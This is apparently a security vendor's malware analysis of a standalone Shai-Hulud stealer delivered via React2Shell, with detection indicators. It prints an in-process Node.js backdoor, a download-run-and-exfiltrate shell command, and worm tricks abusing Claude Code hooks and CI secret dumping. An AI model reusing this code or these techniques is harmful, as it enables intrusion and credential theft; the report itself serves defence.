Shai-Hulud rebuilt as a standalone stealer

A new standalone Mini Shai-Hulud variant delivered through React2Shell with an SSH worm and Global Socket reverse shell.

Shai-Hulud is a recurring software supply-chain worm that steals developer and cloud credentials to compromise more repositories and packages. An analysis of Shai-Hulud 2.0 recovered about 24,000 exfiltrated environment records. About half were unique and most described Linux environments. We found a new Mini Shai-Hulud variant that makes the worm a general Linux post-exploitation payload. It executes without a malicious package installation or build workflow while retaining Shai-Hulud's credential theft and GitHub and npm propagation. In this campaign, React2Shell provided initial access before the operator launched the variant with a separate SSH worm and multiple persistence mechanisms.

How this Shai-Hulud variant and campaign differ

The documented Mini Shai-Hulud npm campaign ran a credential-stealing and propagation framework during package installation. The executable we recovered packages that framework as a standalone Linux post-exploitation payload and is derived from a publicly available Shai-Hulud variant.

  • React2Shell launches Shai-Hulud before it propagates. The operator uses React2Shell for initial remote code execution (RCE) on the Next.js server then launches the standalone variant. Shai-Hulud spreads through GitHub repositories and npm packages. A separate SSH worm moves between reachable hosts.
  • React2Shell installs command execution inside the Next.js server. Three in-process HTTP handlers execute arbitrary shell commands and return their output over the existing request connection. This provides an exfiltration channel without an outbound connection or new listener.
  • The operator installs three payload handlers together. In the same second, the exploit installs separate handlers for the standalone Shai-Hulud variant, the SSH worm and a persistence stage containing an attacker key and Global Socket tooling. The operator later invokes the handlers.
  • Access persists at the process, host and repository levels. The injected HTTP handlers remain until the Node.js process restarts. An attacker SSH key and Global Socket startup hooks survive host restarts. Shai-Hulud adds VS Code folder-open and Claude Code SessionStart hooks to compromised repositories.

Build artifacts identify a separate standalone target

  • The available evidence places the likely build date on 12-15 May 2026. The executable embeds Bun 1.3.14, publicly released on May 12th 2026. It was present on the staging host by 15 May. The npm campaign began on 11 May, so the artifact was likely produced after the campaign began.
  • The build contains an OpenSearch commit reference that no longer resolves. PACKAGE_NAME points to github:opensearch-project/opensearch-js#d446803f…. The commit hash does not appear in the upstream repository, its 145 forks or GitHub commit search. OpenSearch reported that the supply-chain compromise occurred at about 20:30 EDT on 11 May and marked the incident resolved on 15 May. This response window overlaps the standalone build window. We cannot determine how the reference disappeared.
  • Build paths identify the standalone target. All modules contain paths under ../Shai-Hulud-Standalone/src/….

The executable needs no npm, Node.js or runtime download

  • Bun embeds its runtime in the executable. The variant was compiled with bun build --compile. Execution does not require npm, Node.js or a separately installed Bun runtime.
  • A standalone polyfill limits the required source changes. The new utils/standalonePolyfill.ts file adapts the existing code to Bun's compiled target without restructuring the rest of the build.

React2Shell delivers the executable

  • The exploit installs command handlers inside the running Next.js process. The operator monkey-patches http.Server.prototype.emit to intercept selected HTTP request paths and passes each decoded POST body to child_process.exec.
  • The /nacarejv command performs the exfiltration. It downloads the standalone executable, redirects its standard output to r.txt then uses a separate curl invocation to POST the file to an attacker-controlled collector.

React2Shell installs three in-process backdoors

We instrumented a research fleet with Bitbison and exposed a genuinely vulnerable React Server Components stack to the internet as part of the scenario described in React2Shell: 8 months later. One compromise delivered the standalone Shai-Hulud executable together with the SSH worm and persistent-access tooling analyzed below.

The exploit replaces http.Server.prototype.emit while the process is running. The following excerpt shows one of the three installed handlers:

const originalEmit = http.Server.prototype.emit;
http.Server.prototype.emit = function (event, ...args) {
  if (event === 'request') {
    const [req, res] = args;
    if (url.parse(req.url, true).pathname === '/nacarejv' && req.method === 'POST') {
      // the POST body is base64-decoded into a shell command, then run
      const cmd = Buffer.from(body, 'base64').toString('utf8') || 'whoami';
      cp.exec(cmd, (err, stdout, stderr) => {
        res.writeHead(200, {'Content-Type': 'application/json',
                            'Access-Control-Allow-Origin': '*'});
        res.end(JSON.stringify({ success: !err, stdout, stderr,
                                 error: err ? err.message : null }));
      });
      return true;
    }
  }
  return originalEmit.apply(this, arguments);
};

The operator installed all three handlers in the same second. Each handler uses a different random eight-letter path. When a request matches, the wrapper passes its decoded body to cp.exec and returns without calling originalEmit.apply. The Next.js router never receives the request. The handlers remain active until the Node.js process restarts.

PathStageHow data returns
/nacarejvFetches the stealer, runs ./shai > r.txtPOSTs r.txt to the collector; removes the executable and output file
/cejrtyyzFetches and nohups an SSH worm from a withheld victim hostSpreads over SSH and installs a hidden Global Socket reverse shell; a wrapper stage beacons access details to a Discord webhook
/obqtzxdtAppends an authorized_keys entry, runs a deploy script as /dev/shm/.tsPOSTs hostname, cores, load and RAM to the operator

The handlers can return command output over the existing HTTP connection without opening a new listener. The observed Shai-Hulud command instead redirected its output to r.txt then sent the file through a separate curl invocation.

The command retrieves, runs and removes the stealer

The /nacarejv handler received the following shell command. Network locations and repeated fallback arguments are redacted:

cd /dev/shm/
sudo \cp /usr/bin/curl /usr/bin/qq || true   # rename the fetcher to defeat
sudo \cp /usr/bin/wget /usr/bin/ww || true   # any rule keyed on curl or wget
( qq -sL http://<staging-host>/.../shai -o shai
  || ww -q  http://<staging-host>/.../shai -O shai
  || python3 -c "import urllib.request; urllib.request.urlretrieve(...)"
  || php -r "copy('...', 'shai' || curl ... || wget ...)" )
chmod 777 shai
./shai > r.txt
rm -f shai              # delete the tool before the output is even sent
curl -X POST http://<staging-host>/.../index.php --data-binary @r.txt || wget ... || python3 ...
rm -f r.txt &

The command first copies curl to /usr/bin/qq and wget to /usr/bin/ww. This attempts to bypass detections keyed to the original executable names or paths. The command tries four retrieval methods in order: renamed curl, renamed wget, Python and PHP. Each method runs only if the preceding method fails. After running shai with its standard output redirected to r.txt, the command deletes the executable, POSTs r.txt to the collector and deletes the output file.

The other two handlers run in parallel and carry different payloads. /cejrtyyz installs an SSH lateral-movement worm. It reads local keys and known hosts, sprays SSH across everything it can reach, copies itself onward and ends by installing a hidden Global Socket reverse shell for durable access. A wrapper stage along the way beacons the machine's user, hostname and access details to a Discord webhook. /obqtzxdt appends an attacker key to authorized_keys, runs a deploy script as /dev/shm/.ts and registers the host, its name and its specs with the same address that launched the exploit.

The three payloads belong to one campaign. The operator installed all three handlers in the same second. The registration stage reports to the same address that sent every exploit request we observed against these hosts.

The standalone variant collects credentials through local and remote services

  • Runs as a self-contained Linux executable without npm, Node.js or a runtime download. The data it can collect remains a function of the process's permissions, installed local tools and outbound access to the services it queries.
  • Prints a banner announcing discovery mode, then sweeps the filesystem for credential paths, reads shell history and the whole environment and runs gh auth token to retrieve the GitHub command-line interface (CLI) credential.
  • On Linux continuous integration (CI) runners the executable launches sudo python3 to read the Runner.Worker process's memory and recover secrets that GitHub masks in logs.
  • Validates every GitHub token it found against api.github.com/user with a bare node User-Agent.
  • For each token with workflow scope, queries up to 100 repositories that the token can push to and whose latest push occurred after 1 September 2025.
  • In each selected repository, creates a Dependabot-like branch and commits a workflow as github-advanced-security[bot]. The push causes the victim's CI runner to serialize its accessible secrets into an artifact. The binary downloads that artifact.
  • After retrieving the artifact, deletes the workflow run and branch. The branch and workflow no longer appear in the repository's current state. GitHub audit logs and external telemetry may retain the activity.
  • Runs the cloud providers: Amazon Web Services (AWS) Systems Manager (SSM) Parameter Store, Secrets Manager and Security Token Service (STS); Kubernetes secrets; HashiCorp Vault.
  • Prints collected data to standard output. The No exfiltration. banner describes the executable itself. The attacker-supplied shell command redirects the output to r.txt then uses a separate curl invocation to POST the file to an attacker-controlled collector.

The standalone executable collects credentials

  • AWS. ~/.aws credentials and config, the link-local instance metadata service, the link-local Elastic Container Service (ECS) task-credentials endpoint, SSM Parameter Store, Secrets Manager and account identity through STS. Requests use AWS Signature Version 4 (SigV4) implemented by the variant.
  • GitHub. The CLI's stored token, Actions secrets, organization secrets and whatever is resident in a CI runner's memory.
  • Kubernetes. The in-cluster service account token, KUBECONFIG and cluster secrets.
  • Vault. VAULT_ADDR, defaulting to the local Vault endpoint on port 8200, plus the token file and role variables.
  • Azure and Ansible. Access token caches, Microsoft Authentication Library (MSAL) caches and ~/.ansible.
  • AI assistant configuration. ~/.claude.json and ~/.claude/mcp.json. These files may contain credentials exposed to configured tools.
  • Wallets and messaging. Bitcoin, Electrum, Ledger Live, Signal, Slack.
  • Other credential stores. KDE Wallet, Remmina, OpenVPN client certificates.
  • History files. .bash_history, .psql_history, .python_history, .viminfo and .pypirc.
  • Process environment. Scans all environment variables for gh[op]_ and npm_ token patterns.

Each file is capped at 5 MB.

Stolen credentials propagate the standalone variant

  • GitHub tokens spread the executable through repositories. With push access it writes the compiled executable and its loaders to every branch it can update. It also installs a VS Code task configured for folder-open and a Claude Code SessionStart hook. Either hook launches the loader when a developer opens the repository.
  • npm tokens spread the executable through packages. For a token with package:write permission that bypasses two-factor authentication, it downloads the latest tarball for every writable package. It adds a preinstall loader and the compiled executable, increments the patch version then republishes the package.
  • GitHub Actions trusted publishing provides another npm publication path. Inside the hardcoded release-drafter.yml workflow for opensearch-js, the executable exchanges an OpenID Connect (OIDC) token for an npm publish token. It modifies @opensearch-project/opensearch with a malicious optional dependency then publishes it with generated Sigstore provenance.

Datadog Security Labs documented the same propagation components in its static analysis of the Shai-Hulud framework.

Three hosts support delivery and control

The exploit requests contain commands for all three payload stages. Those commands fetch the standalone Shai-Hulud executable and deploy script from the EC2 host. They fetch the SSH worm from a host we assess as a compromised third-party victim. They return registration data to the host that sent the requests. The same host exposes the operator's panel.

The active operator address is withheld. It is a US address associated with BLNWX. The EC2 address is masked. The host we assess as a compromised third-party victim is withheld altogether, including its network. We notified the owner and are withholding identifying details to allow time for remediation.

HostOriginRole
Withheld operator hostBLNWX, USEvery exploit attempt, the registration command-and-control (C2) endpoint and the operator's panel
18.214.X.X, a cloud instanceAS14618 Amazon EC2, USServes the standalone stealer, deploy artifact and collector
Withheld victim hostWithheldServes the SSH worm. Assessed as a compromised third-party victim; owner notified

The operator host exposes SSH and a Python BaseHTTP service on port 9000. The service identifies itself as CommandCenter — Server Fleet Manager, a dashboard for Linux monitoring and remote command execution. Its login overlay runs client-side. The page states that credentials reside in center.conf on the server. Its table contains address, label, port, tag, status and action fields. The third handler registers victim gs-netcat keys to this same host. These roles link the exploit source, registration endpoint and fleet panel to one host.

The collector endpoint remained active as of 11 August.

The third handler makes the deploy artifact executable then extracts a gs-netcat secret from its output. gs-netcat is part of the public Global Socket toolkit.

The campaign combines a new variant with reused tooling

The campaign combines a new standalone Shai-Hulud variant with three reused components:

  • The standalone Shai-Hulud variant is new. It is derived from the public Shai-Hulud codebase and retains its credential-collection and propagation code but adds a dedicated Shai-Hulud-Standalone target and standalonePolyfill.ts. It embeds the Bun runtime in one executable and writes collected results to standard output. Previously documented variants download Bun, execute a script and implement their own exfiltration.
  • The React2Shell exploit is derived from PCPcat tooling. Its requests carry the same fixed multipart boundary as the PCPcat exploit documented by Rubrik Zero Labs. The shared boundary supports code reuse. It does not establish a common operator.
  • The SSH worm is derived from SSH-Snake. It adds a wrapper that reports access details to a Discord webhook.
  • The reverse shell uses Global Socket. The campaign deploys the public gs-netcat tooling through its SSH and persistence stages.

What to hunt for

The first group combines the standalone sample hash with code and runtime indicators shared by the documented npm variant and this standalone variant.

The abuse.ch entry for the standalone Shai-Hulud variant is located here.

Shai-Hulud code and runtime indicator reference sheet
IndicatorContext
SHA-256 dcbf7b7f32b4f9b326b3bf7c8f2548f642b294b8dbe01e02154d8fcc27b7da84Standalone Shai-Hulud ELF sample
User-Agent: node to api.github.comUsed for every GitHub API request
dependabot/github_actions/format/setup-formatterPushed without a pull request
.github/workflows/codeql_analysis.ymlWorkflow injected on the branch above
github-advanced-security[bot] committerVerify the authenticated actor in audit logs
Run Copilot from codeql_analysis.ymlWorkflow name and filename do not match
${{ toJSON(secrets) }}Serializes workflow secrets
format-results artifactStores serialized secrets
Workflow run and branch deleted within secondsHunt in audit logs
sudo python3 reading Runner.Worker memoryCorrelate with parent process; debuggers may overlap
Non-interactive gh auth tokenReads the GitHub CLI credential

The fixed branch, workflow, committer and artifact names match the documented npm variant. Apply them to both variants.

React2Shell campaign indicator reference sheet
IndicatorContext
POST to ^/[a-z]{8}$Injected command path; low specificity alone
backup@localhost key fingerprint SHA256:0w8kzav6+IxH/ma8VXmdTsyyQAK1OdW6RSfA0KbbpW4Added to /root/.ssh/authorized_keys
/dev/shm/.tsDeploy artifact
/usr/bin/qq, /usr/bin/wwCopies of curl and wget
D-Bus System Connection BusDisguised systemd unit
[kworker], [kswapd0] via exec -aDisguised Global Socket process
gs-dbus or gs-db beside a .dat fileGlobal Socket binary and secret
cdn.gsocket.ioGlobal Socket download host
SHA-256 2171deb9293361fd801691948264ad8dc7864935140834449307d040a6d67787Global Socket installer

Method and disclosure

Bitbison records and analyzes system operations and their complete causal histories without sampling at production scale.

We built its sensors and data model to be natively aware of both application and kernel activity. Standard OpenTelemetry data becomes part of the same causal record. We could therefore attribute system-level side effects to the application request that caused them. This connected the React2Shell requests to the in-process handlers, shell commands, downloaded payloads and resulting network activity.

We recovered the payload stages delivered to the observed host and performed static analysis of the standalone executable. The runtime record establishes which code executed. Static analysis identifies additional capabilities present in the artifact. Our internal harnesses and runtimes use the complete causal record to automate broad parts of this analysis with AI. Each result retains the source operations and causal edges needed for verification.

We reported the Discord webhook and control-channel token to Discord. We notified the hosting providers for the attacker-controlled infrastructure through their published abuse contacts. We also notified the owner of the withheld third-party host. We submitted the samples to abuse.ch. The standalone sample is linked in the hunt data above.

Want more? Security researchers can contact us at team@. We are happy to share additional data.

Bitbison

Request early access

Tell us a bit more about your security challenges. We will follow up with access or a focused demo.

No spam. We will only email you about early access.